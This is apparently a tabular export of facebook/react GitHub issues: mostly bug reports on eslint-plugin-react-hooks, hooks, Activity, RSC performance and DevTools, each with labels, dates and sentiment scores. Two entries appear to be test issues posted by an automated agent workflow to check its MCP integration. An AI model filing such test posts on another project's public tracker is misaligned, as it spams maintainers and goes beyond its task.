ESLint should run normally and display linting warnings/errors without crashing. Including or extending the `react-hooks` plugin or its recommended config should not introduce a circular reference in the ESLint configuration object.",Status: Unconfirmed,2025-10-04 14:22:19+00:00,2025-10-28 16:56:42+00:00,16,Status: Unconfirmed,24.1072,eslint plugin react hooks typeerror converting circular structure to json after updating to version running throws an error caused by a circular reference inside the configuration object react version link to code example the current behavior running fails with the following error the eslint should run normally and display linting warnings errors without crashing including or extending the plugin or its recommended config should not introduce a circular reference in the eslint configuration object,bug,-0.891
facebook/react,3483464303,Bug: useEffect fails to fire for every render under extreme conditions,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0

## Steps To Reproduce

mount this component, look at console. Refresh a few times.

Refreshing produces different output every time. it's fine that different numbers of renders happen due to behind-the-scenes batching, but my understanding is that renders and effects should be 1-to-1 with no dependency array.

I also have no idea why different values of timeout seem to be relevant.

Caused a real-world bug recently where I had a forceUpdate() in an event subscriber that was busy on init in a custom hook, with queries firing simultaneously to rerender the consumer of that hook.

```

import { useEffect, useReducer } from ""react"";

export default function App() {
  const [_, forceUpdate] = useReducer((x) => !x, false);

  useThrash();

  console.log(""RENDER"");
  useEffect(() => {
    console.log(""EFFECT"");
  });

  useEffect(() => {
    setTimeout(() => {
      forceUpdate();
    }, 10);
  }, []);
}

const useThrash = () => {
  const [_, forceUpdate] = useReducer((x) => !x, false);
  useEffect(() => {
    setTimeout(() => {
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdate();
      forceUpdat... [TRUNCATED]","Resolution: Stale,Resolution: Expected Behavior",2025-10-04 09:29:11+00:00,2026-01-09 18:09:02+00:00,5,"Resolution: Stale,Resolution: Expected Behavior",97.361,useeffect fails to fire for every render under extreme conditions of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version mount this component look at console refresh a few times refreshing produces different output every time it s fine that different numbers of renders happen due to behind the scenes batching but my understanding is that renders and effects should be to with no dependency array i also have no idea why different values of timeout seem to be relevant caused a real world bug recently where i had a forceupdate in an event subscriber that was busy on init in a custom hook with queries firing simultaneously to rerender the consumer of that hook import useeffect usereducer from react export default function app const forceupdate usereducer x x false usethrash console log render useeffect console log effect useeffect settimeout forceupdate const usethrash const forceupdate usereducer x x false useeffect settimeout forceupdate forceupdate forceupdate forceupdate forceupdate forceupdate forceupdate forceupdate forceupdate forceupdat truncated,bug,-0.8765
facebook/react,3483340717,Bug: Using the new <Activity> component inside AnimatePresence (Framer Motion),"React version: 19.2.0

## Steps To Reproduce

1. Wrap a component in the new React <Activity> component for conditional visibility:

`<Activity mode=""visible"">
  <Component />
</Activity>
`

2. Try to animate this visibility change using Framer Motion’s <AnimatePresence>:

`<AnimatePresence>
  <Activity mode={open ? ""visible"" : ""hidden""}>
    <motion.div exit={{ opacity: 0 }}>
      <Component />
    </motion.div>
  </Activity>
</AnimatePresence>
`

Observe that AnimatePresence expects children to be conditionally rendered (e.g., {open && <Component />}) for enter/exit animations to trigger.

## The current behavior

When wrapping motion elements with <Activity>, Framer Motion’s AnimatePresence does not detect mounting/unmounting changes — because <Activity> toggles visibility internally (using display: none and subscription unmounting) instead of actually adding/removing children from the React tree.
As a result, exit animations do not trigger.

## The expected behavior

Ideally, <Activity> would expose some API or compatibility layer to integrate with animation libraries like Framer Motion that depend on conditional rendering for entry/exit transitions — or React could provide guidance on how to handle this scenario correctly.","Status: Unconfirmed,Resolution: Stale",2025-10-04 07:14:31+00:00,2026-02-10 13:34:16+00:00,4,"Status: Unconfirmed,Resolution: Stale",129.2637,using the new component inside animatepresence framer motion react version wrap a component in the new react component for conditional visibility try to animate this visibility change using framer motion s observe that animatepresence expects children to be conditionally rendered e g open for enter exit animations to trigger the current behavior when wrapping motion elements with framer motion s animatepresence does not detect mounting unmounting changes because toggles visibility internally using display none and subscription unmounting instead of actually adding removing children from the react tree as a result exit animations do not trigger the ideally would expose some api or compatibility layer to integrate with animation libraries like framer motion that depend on conditional rendering for entry exit transitions or react could provide guidance on how to handle this scenario correctly,bug,-0.1109
facebook/react,3482649861,RSC SSR performance,"Hello!

I'm really like Server Components!

In my day job I do a lot of SSR and Server Components allows make it much simpler and faster.

But when I've switched from regular `renderToPipeableStream` to RSC SSR  I've noticed a decrease in server throughput, from 329 to 29 RPS, and an increase in response timings. I've also noticed decrease in server throughput of flight request from 329 to 104 RPS in comparison to `renderToPipeableStream`.

## Steps To Reproduce

I've create a [demo repo](https://github.com/WIVSW/rsc-ssr-perf-test) which illustrates the issue by benchmarking RSC SSR on React 19.1.1, Node.js 22 and Parcel 2.15.4. 

For benchmarking i'm using [parcel SSR implementation](https://github.com/parcel-bundler/parcel/blob/85181f71eee08f36b16d3ae81d12f32d076953f0/packages/utils/rsc/src/server.tsx#L39-L57) because it short and straightforward but the issue presents in Next.js also. Parcel approach looks similar to this:
```tsx
import {renderToReadableStream} from 'react-server-dom-parcel/server.edge';
import {injectRSCPayload} from 'rsc-html-stream/server';
import {createFromReadableStream} from 'react-server-dom-parcel/client.edge';
import {renderToReadableStream as renderHTMLToReadableStream} from 'react-dom/server.edge';

async function renderHTML(root: any): Promise<ReadableStream> {
  // serialize react tree to flight stream
  let rscStream = renderToReadableStream(root, options);

  // Use client react to render the RSC payload to HTML.
  let [s1, s2] = rscStream.... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-03 21:44:40+00:00,2026-01-12 13:19:07+00:00,3,"Status: Unconfirmed,Resolution: Stale",100.6489,rsc ssr performance hello i m really like server components in my day job i do a lot of ssr and server components allows make it much simpler and faster but when i ve switched from regular to rsc ssr i ve noticed a decrease in server throughput from to rps and an increase in response timings i ve also noticed decrease in server throughput of flight request from to rps in comparison to i ve create a demo repo which illustrates the issue by benchmarking rsc ssr on react node js and parcel for benchmarking i m using parcel ssr implementation because it short and straightforward but the issue presents in next js also parcel approach looks similar to this tsx import rendertoreadablestream from react server dom parcel server edge import injectrscpayload from rsc html stream server import createfromreadablestream from react server dom parcel client edge import rendertoreadablestream as renderhtmltoreadablestream from react dom server edge async function renderhtml root any promise serialize react tree to flight stream let rscstream rendertoreadablestream root options use client react to render the rsc payload to html let s s rscstream truncated,others,0.8572
facebook/react,3480465351,[DevTools Bug] Cannot read properties of undefined (reading 'local'),"### Website or app

Uncaught Error: Cannot read properties of undefined (reading 'local')

### Repro steps

[DevTools Bug] Cannot read properties of undefined (reading 'local')

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot read properties of undefined (reading 'local')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1622093
    at Ce.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203343)
    at Ce.updateHookSettings (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1245654)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1449977
    at commitHookEffectListMount (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:129190)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160553)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160621)
    at recursivelyTraversePassiveMountEffects (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:160187)
    at commitPassiveMountOnFiber (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/ma... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-10-03 09:35:26+00:00,2025-10-15 02:38:06+00:00,3,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",11.7102,devtools bug cannot read properties of undefined reading local website or app uncaught error cannot read properties of undefined reading local repro steps devtools bug cannot read properties of undefined reading local how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated cannot read properties of undefined reading local error call stack automated text at chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at ce emit chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at ce updatehooksettings chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commithookeffectlistmount chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitpassivemountonfiber chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at recursivelytraversepassivemounteffects chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitpassivemountonfiber chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at recursivelytraversepassivemounteffects chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitpassivemountonfiber chrome extension fmkadmapgofadopljbjfkapdkoienihi build ma truncated,bug,-0.9517
facebook/react,3479811360,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-03 05:08:35+00:00,2025-10-03 16:03:27+00:00,0,Status: Unconfirmed,0.4548,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3479543806,Bug: eslint-plugin-react-hooks@6.1.0 does not export config types,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0

## Steps To Reproduce

1. Install eslint-plugin-react-hooks@6.1.0
2. Import `reactHooks.configs['recommended-latest']` in eslint.config.js with ts-check enabled
3. TypeScript outputs an error stating that there is no type named config in reactHooks.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro

<img width=""2231"" height=""1439"" alt=""Image"" src=""https://github.com/user-attachments/assets/a441dc4c-26a8-4aaf-b1b0-22605fc3dce6"" />

In 5.2.0 the config type is correctly defined ([ecaad30](https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro/commit/ecaad3096d0301d9579919ed74ee120c4447167b))

<img width=""2231"" height=""1439"" alt=""Image"" src=""https://github.com/user-attachments/assets/d6c1abe8-f572-40c8-a547-8577d5a02c48"" />

In 6.1.0 the type of config is defined as {} ([91b8f13](https://github.com/eai04191/eslint-plugin-react-hooks-config-exports-repro/commit/91b8f135192ad316164853009e6217c26dc0c452))

<img width=""2231"" height=""1439"" alt=""... [TRUNCATED]",Status: Unconfirmed,2025-10-03 02:29:34+00:00,2025-10-03 22:58:17+00:00,5,Status: Unconfirmed,0.8533,eslint plugin react hooks does not export config types of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version install eslint plugin react hooks import in eslint config js with ts check enabled typescript outputs an error stating that there is no type named config in reacthooks your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example in the config type is correctly defined ecaad in the type of config is defined as b f img width height alt truncated,bug,-0.765
facebook/react,3479030026,Bug: Support Zod v4 in eslint-plugin-react-hooks,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:
N/A (ESLint issue)

## Steps To Reproduce

1. Install `eslint@9.36.0` with `eslint-plugin-react-hooks@6.1.0` in a project that also uses `zod@4.x`.
2. Run ESLint on any file.
3. Observe the crash.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

Minimal reproduction:

```bash
npm init -y
npm i -D eslint@9.36.0 eslint-plugin-react-hooks@6.1.0 zod@4
npx eslint --init
npx eslint index.js
```

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

ESLint crashes with:

```
TypeError: zod.z.function(...).args is not a function
    at eslint-plugin-react-hooks.development.js:32075:57
```

This happens because `eslint-plugin-react-hooks` is written against Zod v3, where `z.function(...).args(...)` exists. In Zod v4, t... [TRUNCATED]","Type: Bug,Component: React Compiler,Component: ESLint Rules",2025-10-02 21:37:46+00:00,2025-10-03 22:56:39+00:00,1,"Type: Bug,Component: React Compiler,Component: ESLint Rules",1.0548,support zod v in eslint plugin react hooks of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version n a eslint issue install with in a project that also uses run eslint on any file observe the crash your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior eslint crashes with this happens because is written against zod v where exists in zod v t truncated,bug,-0.7964
facebook/react,3478506464,Bug: OOM when passing reference to big Uint8Array as component props,"When as a component props I pass an object with reference to something big like big Uint8Array this cause OOM in browser (at least in dev mode). On React 19.1 it works fine.

React version: 19.2

## Steps To Reproduce

1. Create component which accept props for example `{data: {buffer: Uint8Array}}` - needs to be nested in additional object wrapper.
2. Render dozens of such components. Note: I point to the same Uint8Array buffer instance so the only memory cost here is object wrapper.
3. Wait second or two and tab is frozen, later it's killed by the browser.

Link to code example:
https://github.com/huberty89/react-19.2-oom-poc

## The current behavior
OOM which cause browser tab crash.

## The expected behavior
No OOM",Status: Unconfirmed,2025-10-02 18:30:48+00:00,2025-10-05 23:13:24+00:00,7,Status: Unconfirmed,3.1962,oom when passing reference to big uint array as component props when as a component props i pass an object with reference to something big like big uint array this cause oom in browser at least in dev mode on react it works fine react version create component which accept props for example needs to be nested in additional object wrapper render dozens of such components note i point to the same uint array buffer instance so the only memory cost here is object wrapper wait second or two and tab is frozen later it s killed by the browser link to code example the current behavior oom which cause browser tab crash the no oom,bug,-0.5719
facebook/react,3477933132,Bug: eslint-plugin-react-hooks installes unmaintained @babel/plugin-proposal-private-methods,"I see that you've decided to release the new major with the babel toolchain included. :(
Would be nice if it didn't install unmaintained babel plugins.

Steps to reproduce:
```sh
mkdir plugin-issue
cd plugin-issue
npm init -y
npm i eslint eslint-plugin-react-hooks
```

Shows:
`npm warn deprecated @babel/plugin-proposal-private-methods@7.18.6: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.`

Also, zod@3 is installed, when v4 has been out for a while now. Would appreciate if you could save us the duplicate dependency.",Status: Unconfirmed,2025-10-02 15:19:22+00:00,2025-10-03 22:09:37+00:00,3,Status: Unconfirmed,1.2849,eslint plugin react hooks installes unmaintained babel plugin proposal private methods i see that you ve decided to release the new major with the babel toolchain included would be nice if it didn t install unmaintained babel plugins shows also zod is installed when v has been out for a while now would appreciate if you could save us the duplicate dependency,bug,0.8271
facebook/react,3477542563,Bug: Intl.NumberFormat returns incorrect thousand separators,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1. Use code snippet
// Format number for a given locale
function formatNumberForLocale(number, locale) {
  const loc = 'ch-DE';
  try {
    return new Intl.NumberFormat(loc, {
      minimumFractionDigits: 2,
      maximumFractionDigits: 2
    }).format(number);
  } catch (e) {
    return String(number);
  }
}

// Example of use
const localeInput = 'de-CH'; // User-Input (e.g. 'de-CH', 'en-US', ...)
const number = 123456.789;

console.log('Number:', formatNumberForLocale(number, localeInput));

## The current behavior
Number : 123’456.79 (U+2019)

## The expected behavior
Number : 123'456.79 (U+0027)

see also: https://en.wikipedia.org/wiki/Decimal_separator#cite_note-switzerland-51",Status: Unconfirmed,2025-10-02 13:29:40+00:00,2025-10-02 14:52:29+00:00,0,Status: Unconfirmed,0.0575,intl numberformat returns incorrect thousand separators of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version use code snippet format number for a given locale function formatnumberforlocale number locale const loc ch de try return new intl numberformat loc minimumfractiondigits maximumfractiondigits format number catch e return string number example of use const localeinput de ch user input e g de ch en us const number console log number formatnumberforlocale number localeinput the current behavior number u the number u see also,bug,0.6486
facebook/react,3476079634,[Compiler Bug/Discussion]: `react-hooks/preserve-manual-memoization` Questions,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEAZmgDZ4IwByEAJgmMTBBgQOQACAdgNYBeAdwD0cXAiElylGvTAA6AFZg2AbgA6XTDnwEAyngCGcHgBoCwAgDV9RngQC+TFu279hYQ8dUatuQhYAlBCIAeQAjBQQ4PDMoMAQAUSIiKJiCOIQAWQQMCFj4oKIHJ1Y2GAQjPG9NbD9zAgBzGAMsAAsAR1J8hAAFAwa0LgM8NAguADFmhowELkJHImZS8sqAWnLSAwBPIVaICB55JWrfHQsAISg8PDHixec2OTkhKDQhS+uxuTwwAA8T2pnAgAKQgYQAMmgPAB9co4MBoG4wLYAEh4CC2dyW7Ge0OhDVmlGGCFoeKEoIhULwsIQ8MRuC2ciaLQ6pG+ynUNW0-hBYMhHgAilBKJiFtjHkI8QSuESKKToeS+VShSKmc02p12QDuQQgnSkVsKfy8ABJCise6lZ56iAIg1GqlmnLs-6cjSiLgeAiiKBzAgAXgIAEYAAxumW-HV4LZYBC64IIPBwVoOjzjLgB+N4WBcAAqMYQAB4NAQCNHYxAihk+gMhiMxpN+jM5hoAHwAbTKCaTrTYAF1wwhI3V6EQDFByMRfdFRhnU3gABTAEsEcopHuFEwruG2+nIrdcezIczb7vJwoAfmPhXCkWihcKieT8-TBAAPgQuBPSK3OaWd3aDLHvONL6gyaIYpy9gAJQnhm3pjF6Fi0MMBhmK0BhgFQQ5pFC4IQAYtCDA02G-GkpAEbQpFpGuT6tMU-orqW1b9IMwyzo20yzIQha8pSgrCvufHGqBu4GhBWytgQC5MaWjTqqyAAGslyUwTbccJVKiYByIELcNo6VsKlyRwBgwA0UDNngAAiwSDIis5gDJ8GqapPpzMeFjlggx5qCAJpzAAhH5DjGW5sCQDAnllgWvkgPoMDEX5ZijuO5CWAYpDCseX6kKQoUua50FhQQHC0T2BhhKQCALlgtEwOMdGVdVx54DAwpmO0glbFQBgzHF84qsifmwcuhWuQQaC0BoJWlgoYJOSQMAeMeKLu... [TRUNCATED]","Type: Question,Component: React Compiler",2025-10-02 05:26:33+00:00,2025-10-03 23:13:37+00:00,2,"Type: Question,Component: React Compiler",1.741,compiler bug discussion questions what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro truncated,bug,-0.1027
facebook/react,3476005054,Bug: eslint-plugin-react-hooks v.6.1.0 recommended config uses array instead of object,"Not sure if this is technically a bug, or just a convention choice.

It's not possible to use the recommended config directly in a flat eslint config array in version 6.1.0

The `recommended-latest` config (now deprecated) will work, but the new `recommended` config will not.

The plugin is defined as:

```
Object.assign(plugin.configs, {
    'recommended-legacy': {
        plugins: ['react-hooks'],
        rules: ruleConfigs,
    },
    'flat/recommended': [
        {
            plugins: {
                'react-hooks': plugin,
            },
            rules: ruleConfigs,
        },
    ],
    'recommended-latest': [
        {
            plugins: {
                'react-hooks': plugin,
            },
            rules: ruleConfigs,
        },
    ],
    recommended: {
        plugins: ['react-hooks'],
        rules: ruleConfigs,
    },
});
```

The last property should be

```
    recommended: {
         plugins: {
             'react-hooks': plugin,
         },
        rules: ruleConfigs,
    },
```

as per https://eslint.org/docs/latest/use/configure/configuration-files#configuration-objects which states

> plugins - An object containing a name-value mapping of plugin names to plugin objects. When files is specified, these plugins are only available to the matching files.

React version: 19.1.1

## Steps To Reproduce

```
// eslint.config.js
import jsEslint from '@eslint/js';
import reactHooks from 'eslint-plugin-react-hooks';
import { defineConfig } from 'eslint/conf... [TRUNCATED]",Status: Unconfirmed,2025-10-02 04:50:27+00:00,2025-10-02 22:52:53+00:00,24,Status: Unconfirmed,0.7517,eslint plugin react hooks v recommended config uses array instead of object not sure if this is technically a bug or just a convention choice it s not possible to use the recommended config directly in a flat eslint config array in version the config now deprecated will work but the new config will not the plugin is defined as the last property should be as per which states plugins an object containing a name value mapping of plugin names to plugin objects when files is specified these plugins are only available to the matching files react version eslint config js import jseslint from eslint js import reacthooks from eslint plugin react hooks import defineconfig from eslint conf truncated,bug,0.344
facebook/react,3475794075,[Workflow v3.0 Test] Real-time Chat App Project Validation,"## Workflow System v3.0 - Real End-to-End Test

This issue validates the complete workflow from user conversation to project creation.

### Project Created
- **Name**: Real-time Chat Application v3.0 Test
- **ID**: b401fb05-3c67-426d-a921-0a7b1a3c3023
- **Status**: Planning
- **Priority**: HIGH

### Features Created
1. User Authentication System (94ca7efe-b8ce-4b47-a476-eb3aae2636c7)
2. Real-time Chat System (82d7ccba-0d21-458f-8190-99a2ddff83d2)

### Tasks Created
1. Implement JWT Authentication Backend (73316a61-07b4-43b6-9624-bbd4ca33425d) - 6 sections
2. Setup Socket.io Server and Client (58877c6b-2b32-4c7b-980a-2c654b0bed16) - 9 sections

### Test Results
- ✅ task-orchestrator: Working
- ✅ hybrid-memory: Working  
- ✅ Templates: Applied (2-3 templates per task)
- ✅ Overview: Retrieved successfully

### Tech Stack
- Frontend: React 18 + TypeScript
- Backend: Node.js + Express
- Database: MongoDB
- Real-time: Socket.io
- Auth: JWT

**Test Date**: October 2, 2025
**Test Type**: Real MCP calls - NO MOCK DATA",,2025-10-02 02:54:35+00:00,2025-10-02 14:55:06+00:00,0,nan,0.5004,workflow v test real time chat app project validation workflow system v real end to end test this issue validates the complete workflow from user conversation to project creation project created name real time chat application v test id b fb c d a a b a c status planning priority high features created user authentication system ca efe b ce b a eb aae c real time chat system d ccba d f a ddff d tasks created implement jwt authentication backend a b b bbd ca d sections setup socket io server and client c b b c b a c b bed sections test results task orchestrator working hybrid memory working templates applied templates per task overview retrieved successfully tech stack frontend react typescript backend node js express database mongodb real time socket io auth jwt test date october test type real mcp calls no mock data,others,0.7717
facebook/react,3474766950,Test from Workflow System v3.0,"Testing GitHub MCP integration from Cursor Workflow System v3.0.0

This is an automated test to verify:
- ✅ GitHub MCP connection
- ✅ Issue creation
- ✅ Real MCP integration

System: Workflow Orchestrator v3.0
Date: October 2, 2025",,2025-10-01 19:06:20+00:00,2025-10-01 19:22:53+00:00,1,nan,0.0115,test from workflow system v testing github mcp integration from cursor workflow system v this is an automated test to verify github mcp connection issue creation real mcp integration system workflow orchestrator v date october,others,0.2732
facebook/react,3471068344,Bug: ViewTransition can stall transitions for ~60s,Repro here: https://codesandbox.io/p/sandbox/repro-transition-stall-54mwcx,Status: Unconfirmed,2025-09-30 21:04:19+00:00,2025-10-02 01:58:14+00:00,0,Status: Unconfirmed,1.2041,viewtransition can stall transitions for s repro here,bug,-0.2023
facebook/react,3464287827,[Compiler Bug]: Please fix `eslint-plugin-react-hooks`,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApgrAGJNKCAMoJxjAL4BKfMAA6bfHFZgCMUvgC8+KGAQAlUvzpVK8gNyr8+HblhsAPEzqYo20nuA6SWXxcTkwEPWUQEjEESPxWAGEACzI6AHNw4H4EADcEOlxFPQA+JXsHdU0CXDIYDIIDXPzcADoauoRcOzUHJhJ8fnb6lujxMEUVHoqRGKkZXH5uGBgyThGYCABbQdrh0YRx23KK4N3OlpyySigEfXwAcnvuk9ly2Ve6YoAJaUoIfAA6jhKIRXAB6DxeXDFbofEAAGhAGjo0TSKBATE22DwwVCt2A+AACtc0h4APKYZiafBBEgbTYPABGZEZ0gAtJgSR42ToyIw2RosTEYGDCEwtE9VKpBOUwWDBZgxGQqXR2BBiMh8JErpRIqogmBleLogcibVmFdXMSoKS6BSVWBirYEeAkhAAO4ASQKCBgdCuYBQ5EoxlkQA

### Repro steps

Back in April, [it was announced](https://react.dev/blog/2025/04/21/react-compiler-rc) that `eslint-plugin-react-compiler` was merged into `eslint-plugin-react-hooks`. Since then, `eslint-plugin-react-hooks` has been in a state of confusion:

* The version tagged as ""latest"" on npm is still `5.2.0`, which is incompatible with ESLint v9.
* The version tagged as ""rc"" is `6.0.0-rc.2`. `6.0.0` was published (accidentally?) and is in a broken state, and is deprecated with `This stable release was published by accident... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-09-29 10:27:59+00:00,2025-10-04 18:38:42+00:00,3,"Type: Bug,Component: React Compiler",5.3408,compiler bug please fix what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps back in april it was announced that was merged into since then has been in a state of confusion the version tagged as latest on npm is still which is incompatible with eslint v the version tagged as rc is was published accidentally and is in a broken state and is deprecated with this stable release was published by accident truncated,bug,-0.4404
facebook/react,3462354023,Illegal Constructor error if ViewTransition is not imported,"If you forget to import `ViewTransition` from React, the error is:

>  Uncaught TypeError: Illegal constructor 

This is because `ViewTransition` exists on the window.

## Screenshot

<img width=""1105"" height=""691"" alt=""Image"" src=""https://github.com/user-attachments/assets/972d5036-e0a8-4a99-96f5-65f0570e2308"" />","Status: Unconfirmed,Resolution: Stale",2025-09-28 18:31:46+00:00,2026-01-04 07:07:02+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.5245,illegal constructor error if viewtransition is not imported if you forget to import from react the error is uncaught typeerror illegal constructor this is because exists on the window screenshot,bug,-0.9337
facebook/react,3461843810,Bug: react-hooks/incompatible-library not found,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

eslint-plugin-react-hooks version: [6.0.0-rc.2](https://www.npmjs.com/package/eslint-plugin-react-hooks/v/6.0.0-rc.2) (latest RC at time of writing)

## Steps To Reproduce

1. `pnpm add --save-dev eslint eslint-plugin-react-hooks@6.0.0-rc.2`
2. Create `eslint.config.js` with `""react-hooks/incompatible-library"": ""error"",` following [`incompatible-library` docs page](https://react.dev/reference/eslint-plugin-react-hooks/lints/incompatible-library) by @poteto in https://github.com/reactjs/react.dev/pull/7986
3. `pnpm eslint .`
4. Observe error `Could not find ""incompatible-library"" in plugin ""react-hooks""` 💥 (more output below)

```bash
➜  workspace git:(main) ✗ pnpm eslint .

Oops! Something went wrong! :(

ESLint: 9.36.0

TypeError: Key ""rules"": Key ""react-hooks/incompatible-library"": Could not find ""incompatible-library"" in plugin ""react-hooks"".
    at throwRuleNotFoundError (/project/workspace/node_modules/.pnpm/eslint@9.36.0/node_modules/eslint/lib/config/config.js:100:16)
    at Config.validateRulesConfig (/project/workspace/node_modules/.pnpm/eslint@9.36.0/node_modules/eslint/lib/config/config.js:603:5)
    at new Config (/project/workspace/node_modules/.pnpm/eslint@9.36.0/node_modules/eslint/lib/config/config.js:484:9)
    at [finalizeConfig... [TRUNCATED]",Status: Unconfirmed,2025-09-28 13:13:38+00:00,2025-10-05 15:56:01+00:00,2,Status: Unconfirmed,7.1128,react hooks incompatible library not found of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed eslint plugin react hooks version rc latest rc at time of writing create with following docs page by poteto in observe error more output below bash workspace git main pnpm eslint oops something went wrong eslint typeerror key rules key react hooks incompatible library could not find incompatible library in plugin react hooks at throwrulenotfounderror project workspace node modules pnpm eslint node modules eslint lib config config js at config validaterulesconfig project workspace node modules pnpm eslint node modules eslint lib config config js at new config project workspace node modules pnpm eslint node modules eslint lib config config js at finalizeconfig truncated,bug,-0.5267
facebook/react,3460744462,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
